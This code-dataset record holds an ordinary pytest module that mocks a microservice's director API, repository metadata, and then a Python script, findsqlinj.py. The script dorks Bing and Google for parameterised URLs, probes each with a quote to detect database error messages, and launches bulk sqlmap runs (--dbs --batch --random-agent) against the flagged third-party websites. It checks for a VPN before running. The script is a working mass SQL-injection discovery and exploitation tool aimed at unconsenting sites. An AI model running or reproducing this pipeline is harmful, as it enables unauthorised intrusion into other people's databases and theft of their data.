@pytest.fixture def fake_service_extras(random_json_from_schema: Callable) -> ServiceExtras: random_extras = ServiceExtras( **random_json_from_schema(ServiceExtras.schema_json(indent=2)) ) return random_extras @pytest.fixture def fake_running_service_details( random_json_from_schema: Callable, ) -> RunningServiceDetails: random_data = random_json_from_schema(RunningServiceDetails.schema_json(indent=2)) # fix port stuff, the randomiser does not understand positive ints KEYS_TO_FIX = ["published_port", "service_port"] for k in KEYS_TO_FIX: if k in random_data: random_data[k] = randint(1, 50000) random_details = RunningServiceDetails(**random_data) return random_details @pytest.fixture def mocked_director_service_fcts( minimal_app: FastAPI, fake_service_details: ServiceDockerData, fake_service_extras: ServiceExtras, fake_running_service_details: RunningServiceDetails, ): with respx.mock( base_url=minimal_app.state.settings.director_v0.base_url(include_tag=False), assert_all_called=False, assert_all_mocked=True, ) as respx_mock: respx_mock.get( "/v0/services/simcore%2Fservices%2Fdynamic%2Fmyservice/1.3.4", content={"data": [fake_service_details.dict(by_alias=True)]}, alias="get_service_version", ) respx_mock.get( "/v0/service_extras/simcore%2Fservices%2Fdynamic%2Fmyservice/1.3.4", content={"data": fake_service_extras.dict(by_alias=True)}, alias="get_service_extras", ) pattern = re.compile( r"v0/running_interactive_services/[0-9a-fA-F]{8}-?[0-9a-fA-F]{4}-?[0-9a-fA-F]{4}-?[0-9a-fA-F]{4}-?[0-9a-fA-F]{12}$" ) respx_mock.get( pattern, content={"data": fake_running_service_details.dict(by_alias=True)}, alias="get_running_service_details", ) yield respx_mock async def test_get_service_details( minimal_app: FastAPI, mocked_director_service_fcts, fake_service_details: ServiceDockerData, ): director_client: DirectorV0Client = minimal_app.state.director_v0_client service = ServiceKeyVersion( key="simcore/services/dynamic/myservice", version="1.3.4" ) service_details: ServiceDockerData = await director_client.get_service_details( service ) assert mocked_director_service_fcts["get_service_version"].called assert fake_service_details == service_details async def test_get_service_extras( minimal_app: FastAPI, mocked_director_service_fcts, fake_service_extras: ServiceExtras, ): director_client: DirectorV0Client = minimal_app.state.director_v0_client service = ServiceKeyVersion( key="simcore/services/dynamic/myservice", version="1.3.4" ) service_extras: ServiceExtras = await director_client.get_service_extras(service) assert mocked_director_service_fcts["get_service_extras"].called assert fake_service_extras == service_extras async def test_get_running_service_details( minimal_app: FastAPI, mocked_director_service_fcts, fake_running_service_details: RunningServiceDetails, ): director_client: DirectorV0Client = minimal_app.state.director_v0_client service_details: RunningServiceDetails = ( await director_client.get_running_service_details(str(uuid4())) ) assert mocked_director_service_fcts["get_running_service_details"].called assert fake_running_service_details == service_details

33.733624

127

0.71767

import json import re import urllib.parse from collections import namedtuple from pathlib import Path from random import randint from typing import Callable, List from uuid import uuid4 import pytest import respx from fastapi import FastAPI, status from models_library.services import ServiceDockerData, ServiceKeyVersion from simcore_service_director_v2.models.schemas.services import ( RunningServiceDetails, ServiceExtras, ) from simcore_service_director_v2.modules.director_v0 import DirectorV0Client @pytest.fixture(autouse=True) def minimal_director_config(project_env_devel_environment, monkeypatch): monkeypatch.setenv("DIRECTOR_ENABLED", "1") monkeypatch.setenv("POSTGRES_ENABLED", "0") monkeypatch.setenv("CELERY_ENABLED", "0") monkeypatch.setenv("REGISTRY_ENABLED", "0") @pytest.fixture def mocked_director_v0_service_api(minimal_app, entrypoint, exp_data, resp_alias): with respx.mock( base_url=minimal_app.state.settings.director_v0.base_url(include_tag=False), assert_all_called=False, assert_all_mocked=True, ) as respx_mock: respx_mock.get( urllib.parse.unquote(entrypoint), content=exp_data, alias=resp_alias, ) yield respx_mock ForwardToDirectorParams = namedtuple( "ForwardToDirectorParams", "entrypoint,exp_status,exp_data,resp_alias" ) def _get_list_services_calls() -> List[ForwardToDirectorParams]: return [ ForwardToDirectorParams( entrypoint="/v0/services", exp_status=status.HTTP_200_OK, exp_data={"data": ["service1", "service2"]}, resp_alias="list_all_services", ), ForwardToDirectorParams( entrypoint="/v0/services?service_type=computational", exp_status=status.HTTP_200_OK, exp_data={"data": ["service1", "service2"]}, resp_alias="list_computational_services", ), ForwardToDirectorParams( entrypoint="/v0/services?service_type=dynamic", exp_status=status.HTTP_200_OK, exp_data={"data": ["service1", "service2"]}, resp_alias="list_dynamic_services", ), ] def _get_service_version_calls() -> List[ForwardToDirectorParams]: return [ ForwardToDirectorParams( entrypoint="/v0/services/simcore%2Fservices%2Fdynamic%2Fmyservice/1.3.4", exp_status=status.HTTP_200_OK, exp_data={"data": ["stuff about my service"]}, resp_alias="get_service_version", ) ] def _get_service_version_extras_calls() -> List[ForwardToDirectorParams]: return [ ForwardToDirectorParams( entrypoint="/v0/services/simcore%2Fservices%2Fdynamic%2Fmyservice/1.3.4/extras", exp_status=status.HTTP_200_OK, exp_data={"data": "extra stuff about my service"}, resp_alias="get_service_extras", ) ] @pytest.mark.parametrize( "entrypoint,exp_status,exp_data,resp_alias", _get_list_services_calls() + _get_service_version_calls() + _get_service_version_extras_calls(), ) def test_forward_to_director( client, mocked_director_v0_service_api, entrypoint, exp_status, exp_data, resp_alias ): response = client.get(entrypoint) assert response.status_code == exp_status assert response.json() == exp_data assert mocked_director_v0_service_api[resp_alias].called @pytest.fixture(scope="session") def fake_service_details(mocks_dir: Path) -> ServiceDockerData: fake_service_path = mocks_dir / "fake_service.json" assert fake_service_path.exists() fake_service_data = json.loads(fake_service_path.read_text()) return ServiceDockerData(**fake_service_data) @pytest.fixture def fake_service_extras(random_json_from_schema: Callable) -> ServiceExtras: random_extras = ServiceExtras( **random_json_from_schema(ServiceExtras.schema_json(indent=2)) ) return random_extras @pytest.fixture def fake_running_service_details( random_json_from_schema: Callable, ) -> RunningServiceDetails: random_data = random_json_from_schema(RunningServiceDetails.schema_json(indent=2)) KEYS_TO_FIX = ["published_port", "service_port"] for k in KEYS_TO_FIX: if k in random_data: random_data[k] = randint(1, 50000) random_details = RunningServiceDetails(**random_data) return random_details @pytest.fixture def mocked_director_service_fcts( minimal_app: FastAPI, fake_service_details: ServiceDockerData, fake_service_extras: ServiceExtras, fake_running_service_details: RunningServiceDetails, ): with respx.mock( base_url=minimal_app.state.settings.director_v0.base_url(include_tag=False), assert_all_called=False, assert_all_mocked=True, ) as respx_mock: respx_mock.get( "/v0/services/simcore%2Fservices%2Fdynamic%2Fmyservice/1.3.4", content={"data": [fake_service_details.dict(by_alias=True)]}, alias="get_service_version", ) respx_mock.get( "/v0/service_extras/simcore%2Fservices%2Fdynamic%2Fmyservice/1.3.4", content={"data": fake_service_extras.dict(by_alias=True)}, alias="get_service_extras", ) pattern = re.compile( r"v0/running_interactive_services/[0-9a-fA-F]{8}-?[0-9a-fA-F]{4}-?[0-9a-fA-F]{4}-?[0-9a-fA-F]{4}-?[0-9a-fA-F]{12}$" ) respx_mock.get( pattern, content={"data": fake_running_service_details.dict(by_alias=True)}, alias="get_running_service_details", ) yield respx_mock async def test_get_service_details( minimal_app: FastAPI, mocked_director_service_fcts, fake_service_details: ServiceDockerData, ): director_client: DirectorV0Client = minimal_app.state.director_v0_client service = ServiceKeyVersion( key="simcore/services/dynamic/myservice", version="1.3.4" ) service_details: ServiceDockerData = await director_client.get_service_details( service ) assert mocked_director_service_fcts["get_service_version"].called assert fake_service_details == service_details async def test_get_service_extras( minimal_app: FastAPI, mocked_director_service_fcts, fake_service_extras: ServiceExtras, ): director_client: DirectorV0Client = minimal_app.state.director_v0_client service = ServiceKeyVersion( key="simcore/services/dynamic/myservice", version="1.3.4" ) service_extras: ServiceExtras = await director_client.get_service_extras(service) assert mocked_director_service_fcts["get_service_extras"].called assert fake_service_extras == service_extras async def test_get_running_service_details( minimal_app: FastAPI, mocked_director_service_fcts, fake_running_service_details: RunningServiceDetails, ): director_client: DirectorV0Client = minimal_app.state.director_v0_client service_details: RunningServiceDetails = ( await director_client.get_running_service_details(str(uuid4())) ) assert mocked_director_service_fcts["get_running_service_details"].called assert fake_running_service_details == service_details

true

790c9459fd20a479a63780067f6e8bbb4410f33b

30,755

py

Python

findsqlinj.py

ThomasTJdev/python_gdork_sqli

9f0254733601b5ead8799cbc8539fdf712db49b5

[ "MIT" ]

58

2017-01-23T11:36:29.000Z

2022-02-20T16:53:25.000Z

findsqlinj.py

ThomasTJdev/python_gdork_sqli

9f0254733601b5ead8799cbc8539fdf712db49b5

[ "MIT" ]

2

2017-01-26T15:14:46.000Z

2018-12-29T08:03:43.000Z

findsqlinj.py

ThomasTJdev/python_gdork_sqli

9f0254733601b5ead8799cbc8539fdf712db49b5

[ "MIT" ]

33

2017-01-22T01:53:42.000Z

2021-12-13T20:47:20.000Z

#!/usr/bin/python python3 # # Python script for finding websites which are prone to SQL injections # Do crawling on bing or google for possible vuln urls # Check url with qoute ' and catch error messages # Run sqlmap against urls # # License: # MIT - (c) 2016 ThomasTJ (TTJ) # import sys # Quit the shiat import os # Working with files and starting sqlmap import re # Searching web results for vuln import requests # Calling websites import urllib.parse # Parsing url encoding for search import shutil # Checking if SQLmap is installed import psutil # Checking possible VPN connection import http.client # Ping to check network connection import random # Shuffle between user agents import time # Printing time when scraping and checking urls from time import sleep # Multiple use cases, e.g. sleep between requests from bs4 import BeautifulSoup # Working with website date class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' ITALIC = '\x1B[3m' # Variables which needs to be defined filenameRawUrl = "0" filenameVulnUrl = "0" def LoadUserAgents(uafile="user_agents.txt"): # uafile : string, path to text file of user agents, one per line uas = [] with open(uafile, 'rb') as uaf: for ua in uaf.readlines(): if ua: uas.append(ua.strip()[1:-1-1]) random.shuffle(uas) return uas def inputSearchUrls(): print("\n" + bcolors.HEADER) print(" #===================================#") print(" # #") print(" # Find urls which might is vuln for #") print(" # SQL injections #") print(" # #") print(" #===================================#") print("\n" + bcolors.ENDC) print(" Basesearch could be: php?id=, php?cat=, e.g.\n") # ================================= # Base input # ================================= # @type basesearch: str # @param basesearch: Query string. Must NOT be url-encoded. basesearch = input(" Enter base search string: " + bcolors.OKBLUE) # @type searchprovider: str # @param searchprovider: Who should perform the search. searchprovider = input(bcolors.ENDC + " Bing or Google (b/g): " + bcolors.OKBLUE) if searchprovider.lower() not in ('b', 'g'): print(bcolors.WARNING + " - Wrong input - only 'b' and 'g' allowed. Using 'b'") searchprovider = 'b' # @type maxperpage: int/str (changed to string) # @param maxperpage: Max results returned per page maxperpage = input(bcolors.ENDC + " Results per page: " + bcolors.OKBLUE) if not maxperpage.isdigit(): print(bcolors.WARNING + " - Wrong input - only numeric values allowed. Using 20") maxperpage = 20 # @type maxpages: int # @param maxpages: Max pages to loop through maxpages = input(bcolors.ENDC + " Number of pages: " + bcolors.OKBLUE) if not maxpages.isdigit(): print(bcolors.WARNING + " - Wrong input - only numeric values allowed. Using 10") maxpages = 10 # @type startpage: int # @param startpage: First page to look in startpage = input(bcolors.ENDC + " Start pages: " + bcolors.OKBLUE) if not startpage.isdigit(): print(bcolors.WARNING + " - Wrong input - only numeric values allowed. Using 0") startpage = 0 if int(startpage) > 0: startpage = (int(startpage) - 1) # @type timeout: int # @param timeout: Sleep between request timeout = input(bcolors.ENDC + " Enter pause between requests: " + bcolors.OKBLUE) if not timeout.isdigit(): print(bcolors.WARNING + " - Wrong input - only numeric values allowed. Using 6") timeout = 6 # @type savesearch: str # @param savesearch: Save the shiat to a file savesearch = input(bcolors.ENDC + " Save search (y/N): " + bcolors.OKBLUE) if savesearch.lower() not in ('', 'y', 'n'): print(bcolors.WARNING + " - Wrong input - only 'y' and 'n' allowed. Using 'n'") savesearch = 'n' # @type filename: str # @param filename: Filename for file containing the search results if savesearch.lower() == "y": filename = input(bcolors.ENDC + " Filename for search: " + bcolors.OKBLUE) if not os.path.isfile(filename): os.mknod(filename) else: appendtofile = input(bcolors.ENDC + " File exists, append (Y/n): " + bcolors.OKBLUE) if appendtofile == "n": print(bcolors.WARNING + " - User disallowed appending to resultfile") print(bcolors.WARNING + " - Please try again with another filename") print(bcolors.WARNING + " - Exiting") sys.exit() else: filename = "" filename = "tmpurllist" # ================================= # Make variables ready to use # ================================= count = str(maxperpage) startpage = int(startpage) pages = (int(maxpages) + startpage) sleeptime = int(timeout) string = str(basesearch) stringurl = urllib.parse.quote_plus(string) print(bcolors.ENDC + "\n [*]:: Searching") print(bcolors.HEADER + bcolors.BOLD + "\n" + " [+] Results" + bcolors.ENDC) searchUrlForString(searchprovider, count, startpage, pages, sleeptime, string, stringurl, savesearch, filename) def searchUrlForString(searchprovider, count, startpage, pages, sleeptime, string, stringurl, savesearch, filename): # ================================= # Loop through pages # ================================= for start in range(startpage, pages): # try: # ========================= # Bing search # ========================= if searchprovider == "b": pagenr = int(start)*int(count)+1 address = "http://www.bing.com/search?q=instreamset:(url title):" + stringurl + "&count=" + count + "&first=" + str(pagenr) print(" [*] Page number: " + str(int(start)+1)) # Loading random useragent uas = LoadUserAgents() ua = random.choice(uas) # select a random user agent headers = {"Connection": "close", "User-Agent": ua} r = requests.get(address, headers=headers) soup = BeautifulSoup(r.text, 'lxml') for d in soup.find_all('h2'): for a in d.find_all('a', href=True): if string in a['href']: print( bcolors.OKGREEN + " [" + time.strftime("%H:%M:%S") + "] [+] " + a['href'] + bcolors.ENDC ) if filename: with open(filename, 'a') as file: file.write(a['href'] + "\n") elif "0.r.msn." in a['href']: pass else: pass sleep(sleeptime) # ========================= # Google search # ========================= elif searchprovider == "g": pagenr = int(start)*int(count) address = "https://www.google.dk/search?q=" + stringurl + "&num=" + count + "&start=" + str(pagenr) # address = "https://www.google.dk/search?q=inurl%3A" + stringurl + "&num=" + count + "&start=" + str(pagenr) print(" [*] Page number: " + str(int(start)+1)) # Loading random useragent uas = LoadUserAgents() ua = random.choice(uas) # select a random user agent headers = {"Connection": "close", "User-Agent": ua} r = requests.get(address, headers=headers) soup = BeautifulSoup(r.text, 'lxml') for d in soup.find_all('cite'): url = d.text if string in url: print( bcolors.OKGREEN + " [" + time.strftime("%H:%M:%S") + "] [+] " + url + bcolors.ENDC ) if filename == "y": with open(filename, 'a') as file: file.write(url + "\n") sleep(sleeptime) try: print("") # ============================= # Error, end, exit # ============================= except KeyboardInterrupt: print(bcolors.FAIL + " User input - Ctrl + c" + bcolors.ENDC) quitnow = input(bcolors.ENDC + bcolors.BOLD + " Exit program (y/N): " + bcolors.OKBLUE) if quitnow == "y": print(bcolors.ENDC + " // Exiting\n\n") sys.exit() else: print(bcolors.ENDC + " // Continuing\n\n") except: print(bcolors.FAIL + " ERROR!!! " + bcolors.ENDC) # ================================= # Done - sum it up # ================================= print("\n Done scraping") with open(filename) as f: resultsnumber = sum(1 for _ in f) if savesearch == "y": print(" Scraping saved in file: " + filename) print(" Total saved urls: " + str(resultsnumber)) else: print(" Total urls collected: " + str(resultsnumber)) # Check urls? Next function activates.. checkurls = input(bcolors.ENDC + "\n Would you like to check urls for vuln (Y/n): " + bcolors.OKBLUE) if checkurls.lower() not in ('', 'y', 'n'): print(bcolors.WARNING + " - Wrong input - only 'y' and 'n' allowed. Using 'y'") checkurls = "y" if checkurls == "n": print(bcolors.ENDC + " // Exiting\n\n") try: os.remove("tmpurllist") except OSError: pass sys.exit() else: checkUrlsForVuln(filename) def checkUrlsForVuln(filenameRawUrl): print("\n\n\n" + bcolors.HEADER) print(" #===============================#") print(" # #") print(" # Check if urls is vuln for #") print(" # SQL injection #") print(" # #") print(" #===============================#") print("\n" + bcolors.ENDC) # ================================= # Base input # ================================= # Base input if filenameRawUrl != "0": print(" Filepath from run is still in memory: " + filenameRawUrl) urlfileChoose = input(bcolors.ENDC + " (i)nput new filename, or (u)se from memory (i/U): " + bcolors.OKBLUE) if urlfileChoose not in ('i', 'u'): print(bcolors.WARNING + " - Using from memory") urlfileChoose = 'u' if urlfileChoose == 'u': urlfile = filenameRawUrl else: # @type urlfile: str # @param urlfile: File with the raw urls to check. urlfile = input(bcolors.ENDC + " Filename with urls: " + bcolors.OKBLUE) else: # @type urlfile: str # @param urlfile: File with the raw urls to check. urlfile = input(bcolors.ENDC + " Filename with urls: " + bcolors.OKBLUE) if not os.path.isfile(urlfile): print(bcolors.FAIL + " Specified file does not exist.") print(bcolors.FAIL + " Exiting") sys.exit() # @type verboseactive: str # @param verboseactive: Verboselevel. verboseactive = input(bcolors.ENDC + " Verboselevel (0, 1, 2): " + bcolors.OKBLUE) if not verboseactive: print(bcolors.WARNING + " - Wrong input - only numeric values allowed. Using 0") verboseactive = "0" # @type savesearch: str # @param savesearch: Save the scan to file. savesearch = input(bcolors.ENDC + " Save search (y/N): " + bcolors.OKBLUE) if savesearch.lower() not in ('', 'y', 'n'): print(bcolors.WARNING + " - Wrong input - only 'y' and 'n' allowed. Using 'y'") savesearch = 'y' # @type filename: str # @param filename: Filename for the shiat. if savesearch == "y": filename = input(bcolors.ENDC + " Filename for results: " + bcolors.OKBLUE) if not filename: print(bcolors.WARNING + " - Wrong input - using 'vulnurls' as filename") filename = "vulnurls" if not os.path.isfile(filename): os.mknod(filename) else: appendtofile = input(bcolors.ENDC + " File exists, append (Y/n): " + bcolors.OKBLUE) if appendtofile == "n": print(" User disallowed appending to resultfile") print(" Please try again with another filename") print(" Exiting") sys.exit() else: filename = "0" print(bcolors.ENDC + "\n [*]::Reading file\n") print(" [*] Connecting\n") # ================================= # Loop through urls and add a qoute # ================================= with open(urlfile) as fileorg: for line in fileorg: checkMY1 = 0 checkMY2 = 0 checkMY3 = 0 checkMY4 = 0 checkMS1 = 0 checkMS2 = 0 checkMS3 = 0 checkOR1 = 0 checkOR2 = 0 checkOR3 = 0 checkPO1 = 0 checkPO2 = 0 try: # Get data url = line + "'" print( " [" + time.strftime("%H:%M:%S") + "] [*] " + line.strip('\n') ) # Loading random useragent uas = LoadUserAgents() ua = random.choice(uas) # select a random user agent headers = {"Connection": "close", "User-Agent": ua} r = requests.get(url, headers=headers) soup = BeautifulSoup(r.text, 'lxml') # Check if vuln - might updated indicationstrings according to # MySQL checkMY1 = len(soup.find_all(text=re.compile('check the manual that corresponds to your MySQL'))) checkMY2 = len(soup.find_all(text=re.compile('SQL syntax'))) checkMY3 = len(soup.find_all(text=re.compile('server version for the right syntax'))) checkMY4 = len(soup.find_all(text=re.compile('expects parameter 1 to be'))) # Microsoft SQL server checkMS1 = len(soup.find_all(text=re.compile('Unclosed quotation mark before the character string'))) checkMS2 = len(soup.find_all(text=re.compile('An unhanded exception occurred during the execution'))) checkMS3 = len(soup.find_all(text=re.compile('Please review the stack trace for more information'))) # Oracle Errors checkOR1 = len(soup.find_all(text=re.compile('java.sql.SQLException: ORA-00933'))) checkOR2 = len(soup.find_all(text=re.compile('SQLExceptionjava.sql.SQLException'))) checkOR3 = len(soup.find_all(text=re.compile('quoted string not properly terminated'))) # Postgre SQL checkPO1 = len(soup.find_all(text=re.compile('Query failed:'))) checkPO2 = len(soup.find_all(text=re.compile('unterminated quoted string at or near'))) # Verbose level 1 if verboseactive == "1": print(" [V] Check1 MySQL found: " + str(checkMY1)) print(" [V] Check2 MySQL found: " + str(checkMY2)) print(" [V] Check3 MySQL found: " + str(checkMY3)) print(" [V] Check4 MySQL found: " + str(checkMY4)) print(" [V] Check5 MS SQL found: " + str(checkMS1)) print(" [V] Check6 MS SQL found: " + str(checkMS2)) print(" [V] Check7 MS SQL found: " + str(checkMS3)) print(" [V] Check8 Oracle found: " + str(checkOR1)) print(" [V] Check9 Oracle found: " + str(checkOR2)) print(" [V] Check10 Oracle found: " + str(checkOR3)) print(" [V] Check11 Postgre found: " + str(checkPO1)) print(" [V] Check12 Postgre found: " + str(checkPO2)) # Verbose level 2 if verboseactive == "2": checkverMY1 = soup.find(text=re.compile('check the manual that corresponds to your MySQL')) checkverMY2 = soup.find(text=re.compile(r'SQL syntax')) checkverMY3 = soup.find(text=re.compile(r'server version for the right syntax')) checkverMY4 = soup.find(text=re.compile('expects parameter 1 to be')) print(" [V] Check1 MySQL found: " + str(checkverMY1).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check2 MySQL found: " + str(checkverMY2).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check3 MySQL found: " + str(checkverMY3).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check4 MySQL found: " + str(checkverMY4).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) checkverMS1 = soup.find(text=re.compile('Unclosed quotation mark before the character string')) checkverMS2 = soup.find(text=re.compile('An unhanded exception occurred during the execution')) checkverMS3 = soup.find(text=re.compile('Please review the stack trace for more information')) print(" [V] Check5 MS SQL found: " + str(checkverMS1).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check6 MS SQL found: " + str(checkverMS2).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check7 MS SQL found: " + str(checkverMS3).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) checkverOR1 = soup.find(text=re.compile('java.sql.SQLException: ORA-00933')) checkverOR2 = soup.find(text=re.compile('SQLExceptionjava.sql.SQLException')) checkverOR3 = soup.find(text=re.compile('quoted string not properly terminated')) print(" [V] Check8 Oracle found: " + str(checkverOR1).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check9 Oracle found: " + str(checkverOR2).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check10 Oracle found: " + str(checkverOR3).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) checkverPO1 = soup.find(text=re.compile('Query failed:')) checkverPO2 = soup.find(text=re.compile('unterminated quoted string at or near')) print(" [V] Check11 Postgre found: " + str(checkverPO1).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) print(" [V] Check12 Postgre found: " + str(checkverPO2).replace('\n', ' ').replace('\r', '').replace('\t', '').replace(' ', '')) # If X is vuln if (checkMY1 > 0 or checkMY2 > 0 or checkMY3 > 0 or checkMY4 > 0 or checkMS1 > 0 or checkMS2 > 0 or checkMS3 > 0 or checkOR1 > 0 or checkOR2 > 0 or checkOR3 > 0 or checkPO1 > 0 or checkPO2): print( bcolors.OKGREEN + "\n" + " Possible vuln url!" + "\n" + " [" + time.strftime("%H:%M:%S") + "] [+] " + line + bcolors.ENDC + "\n" ) if savesearch == "y": with open(filename, 'a') as file: file.write(line) else: print( bcolors.WARNING + " [" + time.strftime("%H:%M:%S") + "] [-] " + line + bcolors.ENDC ) # Skip X or/and exit except KeyboardInterrupt: print(bcolors.FAIL + " [X] " + line + bcolors.ENDC) quitnow = input(bcolors.ENDC + bcolors.BOLD + " Exit program (y/N): " + bcolors.OKBLUE) if quitnow == "y": print(bcolors.ENDC + " // Exiting\n\n") try: os.remove("tmpurllist") except OSError: pass sys.exit() else: print(bcolors.ENDC + " // Continuing\n\n") # Bad X except: print(bcolors.FAIL + " [X] " + line + bcolors.ENDC) # ================================= # Done - sum it up # ================================= print("\n Done scanning urls") if savesearch == "y": with open(filename) as f: resultsnumber = sum(1 for _ in f) print(" Scraping saved in file: " + filename) print(" Total saved urls: " + str(resultsnumber)) if resultsnumber == 0: print(" No vuln urls, exiting\n\n") try: os.remove("tmpurllist") except OSError: pass sys.exit() checkurls = input(bcolors.ENDC + "\n Would you like to run the urls through sqlmap (y/N): " + bcolors.OKBLUE) if checkurls == "y": try: os.remove("tmpurllist") except OSError: pass scanUrlsSQLmap(filename) else: print(bcolors.ENDC + " // Exiting\n\n") try: os.remove("tmpurllist") except OSError: pass sys.exit() def scanUrlsSQLmap(filenameVulnUrl): print("\n\n\n" + bcolors.HEADER) print(" #===============================#") print(" # #") print(" # Scan urls with #") print(" # SQLmap #") print(" # #") print(" #===============================#") print("\n" + bcolors.ENDC) # ================================= # Check if sqlmap installed, file, etc. # ================================= if shutil.which('sqlmap') is None: print(" SQLmap is not installed on system - can't go on.") print(" Install sqlmap and run command below (sudo pacman -S sqlmap, sudo apt-get install sqlmap, etc.)") print(" \nCommand:") print(" sqlmap -m \"" + filenameVulnUrl + "\n") else: if filenameVulnUrl == "0": print(" No filename in memory, please specify.") # @type urlfile: str # @param urlfile: File with the raw urls to check. filenameVulnUrl = input(bcolors.ENDC + " Filename with urls: " + bcolors.OKBLUE) if not os.path.isfile(filenameVulnUrl): print(bcolors.FAIL + " Specified file does not exist.") print(bcolors.FAIL + " Exiting") sys.exit() print(bcolors.ENDC + " SQLmap will be started with arguments dbs, batch, random-agent, 4xthreads.") fileDestination = (os.getcwd() + "/" + filenameVulnUrl) command = ('sqlmap -m ' + fileDestination + " --dbs --batch --random-agent --threads 4") print("Command to execute: " + command) input(bcolors.ENDC + " Press enter to continue\n") print(bcolors.ENDC + " Starting SQLmap - follow onscreen instructions") print(bcolors.BOLD + " Press Ctrl + c to exit\n\n\n") # RUN SQLMAP !! os.system(command) # Not implemented - specify saving destination # @type savingplace: str # @param savingplace: Who should perform the search. # savingplace = input(bcolors.ENDC + " Specify folder where results will be placed: " + bcolors.OKBLUE) # if savingplace not in ('b', 'g'): # print(bcolors.WARNING + " - Wrong input - only 'b' and 'g' allowed. Using 'b'") # savingplace = 'b' def helpme(): print("\n\n" + bcolors.HEADER) print(" .---. .---. .-''-. .---. .-------. ,---. ,---. .-''-. ") print(" | | |_ _| .'_ _ \ | ,_| \ _(`)_ \ | \ / | .'_ _ \ ") print(" | | ( ' ) / ( ` ) ',-./ ) | (_ o._)| | , \/ , | / ( ` ) ' ") print(" | '-(_{;}_). (_ o _) |\ '_ '`) | (_,_) / | |\_ /| |. (_ o _) | ") print(" | (_,_) | (_,_)___| > (_) ) | '-.-' | _( )_/ | || (_,_)___| ") print(" | _ _--. | ' \ .---.( . .-' | | | (_ o _) | |' \ .---. ") print(" |( ' ) | | \ `-' / `-'`-'|___ | | | (_,_) | | \ `-' / ") print(" (_{;}_)| | \ / | \/ ) | | | | \ / ") print(" '(_,_) '---' `'-..-' `--------``---' '--' '--' `'-..-' ") print("\n\n" + bcolors.ENDC) print(" This python script is developed to show, how many vulnerables websites,") print(" which are laying around on the web. The main focus of the script is to") print(" generate a list of vuln urls. Please use the script with causing and") print(" alert the webadmins of vulnerable pages. The SQLmap implementation is") print(" just for showcasing.") print("") print(" The script is divided into 3 main sections.\n") print(bcolors.BOLD + " # Section 1" + bcolors.ENDC) print(" In this section you have to provide a search string, which 'connects' to") print(" the websites database, e.g. 'php?id='. The script then crawls") print(" Bing or Google for urls containing it. All of the urls can then be saved") print(" into a file. (Please be aware that you might get banned for crawling to") print(" fast, remember an appropriate break/sleep between request).") print(bcolors.ITALIC + " Example of searchs: php?bookid=, php?idproduct=, php?bookid=, php?catid=,") print(" php?action=, php?cart_id=, php?title=, php?itemid=" + bcolors.ENDC) print("") print(bcolors.BOLD + " # Section 2" + bcolors.ENDC) print(" This section adds a qoute ' to the websites url. If the website is") print(" prone to SQL injection, we'll catch this with some predefined error") print(" messages. The script will not add websites for blind SQL injections,") print(" due to the predefined error messages.") print("") print(bcolors.BOLD + " # Section 3" + bcolors.ENDC) print(" This is just an activation of sqlmap with the bulk argument and no") print(" user interaction for validation of SQL injection.") print("") print("\n") print(bcolors.BOLD + " Stay safe and help the vulnerables" + bcolors.ENDC) print("\n") sys.exit() def checkConnection(): # Header request for net connectivity print(bcolors.ENDC + "\n [*] Checking network connection" + bcolors.ENDC) conn = http.client.HTTPConnection("www.microsoft.com", 80) try: conn.request("HEAD", "/") print(bcolors.OKGREEN + " [+] Network connection seems OK" + bcolors.ENDC) except: print(bcolors.FAIL + " [-] Network connection seems down" + bcolors.ENDC) # Checking for tun0 or ppp print(bcolors.ENDC + " [*] Checking VPN connection" + bcolors.ENDC) if re.match(r'tun.', 'tun') or re.match(r'ppp.', 'ppp') not in psutil.net_if_addrs(): print(bcolors.WARNING + " [-] No indication of a VPN connection on tun or ppp found.") choice = input(bcolors.ENDC + " Continue (y/N): " + bcolors.OKBLUE) if choice.lower() == "y": print(bcolors.ENDC + " ") else: sys.exit() else: print(bcolors.OKGREEN + " [+] Indications of a VPN. Good. Will continue." + bcolors.ENDC) startpage() def startpage(): print("\n") print(bcolors.BOLD + " Please choose your weapon of mass destruction:") print(bcolors.BOLD + " 1" + bcolors.ENDC + " - Scrape the web for possible vuln urls") print(bcolors.BOLD + " 2" + bcolors.ENDC + " - Check the urls for vulnerabilities") print(bcolors.BOLD + " 3" + bcolors.ENDC + " - Bulk exploit urls with sqlmap") print(bcolors.BOLD + " 4" + bcolors.ENDC + " - Help me") print("\n") # @type choice: str # @param choice: Weapon of massdestruction choice = input(bcolors.ENDC + " Enter choice numer (1, 2, 3, 4): " + bcolors.OKBLUE) if not choice.isdigit(): print(bcolors.WARNING + " - Wrong input - only 1, 2, 3 and 4 allowed") print(" - Exiting\n") sys.exit() if choice not in ('1', '2', '3', '4'): print(bcolors.WARNING + " - Wrong input - only 1, 2, 3 and 4 allowed") print(" - Exiting\n") sys.exit() if choice == "1": inputSearchUrls() elif choice == "2": checkUrlsForVuln(filenameRawUrl) elif choice == "3": scanUrlsSQLmap(filenameVulnUrl) elif choice == "4": helpme() def main(): os.system('clear') print("\n\n") print(" _____ __ _____ ____ __ _ _ __ _ ") print(" / __(_)___ ____/ / / ___// __ \ / / (_)___ (_)__ _____/ /_(_)___ ____ ") print(" / /_/ / __ \/ __ / \__ \/ / / / / / / / __ \ / / _ \/ ___/ __/ / __ \/ __ |") print(" / __/ / / / / /_/ / ___/ / /_/ / / /___ / / / / / / / __/ /__/ /_/ / /_/ / / / /") print(" /_/ /_/_/ /_/\__,_/ /____/\___\_\/_____/ /_/_/ /_/_/ /\___/\___/\__/_/\____/_/ /_/ ") print(" /___/ ") print("\n\n") checkConnection() 